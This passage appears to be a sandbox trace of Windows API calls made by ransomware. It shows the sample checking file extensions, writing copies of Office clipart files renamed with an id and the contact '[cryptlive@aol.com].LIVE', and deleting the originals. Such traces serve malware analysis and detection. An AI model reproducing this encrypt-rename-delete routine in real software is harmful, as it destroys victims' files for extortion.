(lpString1=".doc", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString=".docx") returned 5 [0151.983] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.983] lstrlenW (lpString=".pdf") returned 4 [0151.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString=".xls") returned 4 [0151.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.983] lstrlenW (lpString=".xlsx") returned 5 [0151.983] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.983] lstrlenW (lpString=".ppt") returned 4 [0151.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.983] lstrlenW (lpString=".zip") returned 4 [0151.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.984] lstrlenW (lpString=".rar") returned 4 [0151.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString=".bz2") returned 4 [0151.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString=".7z") returned 3 [0151.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.984] lstrlenW (lpString=".dbf") returned 4 [0151.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.984] lstrlenW (lpString=".1cd") returned 4 [0151.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.984] lstrlenW (lpString=".jpg") returned 4 [0151.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.984] lstrlenW (lpString=".doc") returned 4 [0151.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString=".docx") returned 5 [0151.984] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.984] lstrlenW (lpString=".pdf") returned 4 [0151.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString=".xls") returned 4 [0151.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.984] lstrlenW (lpString=".xlsx") returned 5 [0151.984] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.984] lstrlenW (lpString=".ppt") returned 4 [0151.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.984] lstrlenW (lpString=".zip") returned 4 [0151.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.984] lstrlenW (lpString=".rar") returned 4 [0151.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.985] lstrlenW (lpString=".bz2") returned 4 [0151.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.985] lstrlenW (lpString=".7z") returned 3 [0151.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.985] lstrlenW (lpString=".dbf") returned 4 [0151.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.985] lstrlenW (lpString=".1cd") returned 4 [0151.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.985] lstrlenW (lpString=".jpg") returned 4 [0151.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.985] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.985] lstrlenW (lpString="J0105298.WMF") returned 12 [0151.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.987] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6320) returned 1 [0151.987] CloseHandle (hObject=0x1f8) returned 1 [0151.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20 [0151.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.987] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.987] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0151.988] GetLastError () returned 0x0 [0151.988] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x18b0, lpOverlapped=0x0) returned 1 [0151.990] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0151.991] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.991] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.991] SetEndOfFile (hFile=0x314) returned 1 [0151.991] CloseHandle (hObject=0x314) returned 1 [0151.991] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.991] SetEndOfFile (hFile=0x1f8) returned 1 [0151.993] CloseHandle (hObject=0x1f8) returned 1 [0151.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0151.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.995] lstrlenW (lpString=".doc") returned 4 [0151.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString=".docx") returned 5 [0151.995] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.995] lstrlenW (lpString=".pdf") returned 4 [0151.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString=".xls") returned 4 [0151.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.995] lstrlenW (lpString=".xlsx") returned 5 [0151.995] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.995] lstrlenW (lpString=".ppt") returned 4 [0151.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.995] lstrlenW (lpString=".zip") returned 4 [0151.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.995] lstrlenW (lpString=".rar") returned 4 [0151.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString=".bz2") returned 4 [0151.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString=".7z") returned 3 [0151.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.995] lstrlenW (lpString=".dbf") returned 4 [0151.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.995] lstrlenW (lpString=".1cd") returned 4 [0151.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.995] lstrlenW (lpString=".jpg") returned 4 [0151.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.996] lstrlenW (lpString=".doc") returned 4 [0151.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".docx") returned 5 [0151.996] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.996] lstrlenW (lpString=".pdf") returned 4 [0151.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".xls") returned 4 [0151.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.996] lstrlenW (lpString=".xlsx") returned 5 [0151.996] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.996] lstrlenW (lpString=".ppt") returned 4 [0151.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.996] lstrlenW (lpString=".zip") returned 4 [0151.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.996] lstrlenW (lpString=".rar") returned 4 [0151.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".bz2") returned 4 [0151.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".7z") returned 3 [0151.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.996] lstrlenW (lpString=".dbf") returned 4 [0151.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.996] lstrlenW (lpString=".1cd") returned 4 [0151.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0151.996] lstrlenW (lpString=".jpg") returned 4 [0151.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.997] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.997] lstrlenW (lpString="J0105306.WMF") returned 12 [0151.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.997] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4320) returned 1 [0151.997] CloseHandle (hObject=0x1f8) returned 1 [0151.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20 [0151.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.998] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.998] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0151.999] GetLastError () returned 0x0 [0151.999] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x10e0, lpOverlapped=0x0) returned 1 [0152.036] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x10f0, lpOverlapped=0x0) returned 1 [0152.037] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.038] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.038] SetEndOfFile (hFile=0x314) returned 1 [0152.038] CloseHandle (hObject=0x314) returned 1 [0152.038] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.038] SetEndOfFile (hFile=0x1f8) returned 1 [0152.040] CloseHandle (hObject=0x1f8) returned 1 [0152.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0152.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.292] lstrlenW (lpString=".doc") returned 4 [0152.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.292] lstrlenW (lpString=".docx") returned 5 [0152.292] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.292] lstrlenW (lpString=".pdf") returned 4 [0152.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.292] lstrlenW (lpString=".xls") returned 4 [0152.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.292] lstrlenW (lpString=".xlsx") returned 5 [0152.292] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.292] lstrlenW (lpString=".ppt") returned 4 [0152.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.292] lstrlenW (lpString=".zip") returned 4 [0152.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.292] lstrlenW (lpString=".rar") returned 4 [0152.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.293] lstrlenW (lpString=".bz2") returned 4 [0152.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.293] lstrlenW (lpString=".7z") returned 3 [0152.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.293] lstrlenW (lpString=".dbf") returned 4 [0152.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.293] lstrlenW (lpString=".1cd") returned 4 [0152.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.293] lstrlenW (lpString=".jpg") returned 4 [0152.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.293] lstrlenW (lpString=".doc") returned 4 [0152.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.293] lstrlenW (lpString=".docx") returned 5 [0152.293] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.293] lstrlenW (lpString=".pdf") returned 4 [0152.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.293] lstrlenW (lpString=".xls") returned 4 [0152.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.293] lstrlenW (lpString=".xlsx") returned 5 [0152.294] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.294] lstrlenW (lpString=".ppt") returned 4 [0152.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.294] lstrlenW (lpString=".zip") returned 4 [0152.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.294] lstrlenW (lpString=".rar") returned 4 [0152.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString=".bz2") returned 4 [0152.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString=".7z") returned 3 [0152.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.294] lstrlenW (lpString=".dbf") returned 4 [0152.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.294] lstrlenW (lpString=".1cd") returned 4 [0152.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0152.294] lstrlenW (lpString=".jpg") returned 4 [0152.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.295] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.295] lstrlenW (lpString="J0105332.WMF") returned 12 [0152.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.295] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10508) returned 1 [0152.295] CloseHandle (hObject=0x314) returned 1 [0152.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20 [0152.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.296] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.296] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.297] GetLastError () returned 0x0 [0152.297] ReadFile (in: hFile=0x314, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x290c, lpOverlapped=0x0) returned 1 [0152.299] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2910, lpOverlapped=0x0) returned 1 [0152.300] ReadFile (in: hFile=0x314, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.300] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.300] SetEndOfFile (hFile=0x3a0) returned 1 [0152.300] CloseHandle (hObject=0x3a0) returned 1 [0152.300] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.300] SetEndOfFile (hFile=0x314) returned 1 [0152.303] CloseHandle (hObject=0x314) returned 1 [0152.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0152.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.575] lstrlenW (lpString=".doc") returned 4 [0152.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.575] lstrlenW (lpString=".docx") returned 5 [0152.575] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.575] lstrlenW (lpString=".pdf") returned 4 [0152.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.575] lstrlenW (lpString=".xls") returned 4 [0152.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.575] lstrlenW (lpString=".xlsx") returned 5 [0152.575] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.575] lstrlenW (lpString=".ppt") returned 4 [0152.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.575] lstrlenW (lpString=".zip") 